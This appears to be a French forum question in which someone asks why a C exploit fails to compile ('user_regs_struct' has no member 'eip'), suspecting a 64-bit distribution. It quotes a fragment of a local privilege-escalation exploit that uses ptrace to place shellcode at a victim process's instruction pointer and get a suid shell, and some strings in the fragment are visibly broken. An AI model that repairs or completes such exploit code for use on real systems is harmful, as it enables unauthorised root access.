J'ai essayé de compiler un exploit en C, mais j'obtiens l'erreur suivante:
Exploit.c: In function ‘sigchld’:
Exploit.c:93: error: ‘struct user_regs_struct’ has no member named ‘eip’
Exploit.c:95: error: ‘struct user_regs_struct’ has no member named ‘eip’
Voici le bout de code correspondant:
void sigchld(int signo)
{
struct user_regs_struct regs;
if (gotchild++ == 0)
return;
fprintf(stderr, "
if (ptrace(PTRACE_GETREGS, victim, NULL, ®s) == -1)
fatal("[-] Unable to read registers");
fprintf(stderr, "
- Shellcode placed at 0x%08lx\n", regs.eip);
putcode((unsigned long *)regs.eip);
fprintf(stderr, "
- Now wait for suid shell...\n");
if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
fatal("[-] Unable to detach from victim");
exit(0);
}
Pourtant, en regardant sur Google, j'ai vu d'autres programmes utilisant la structure user_regs_struct et il n'y avait pas d'erreurs..
Est-ce que ça peut être causé à cause d'une distribution 64 bit?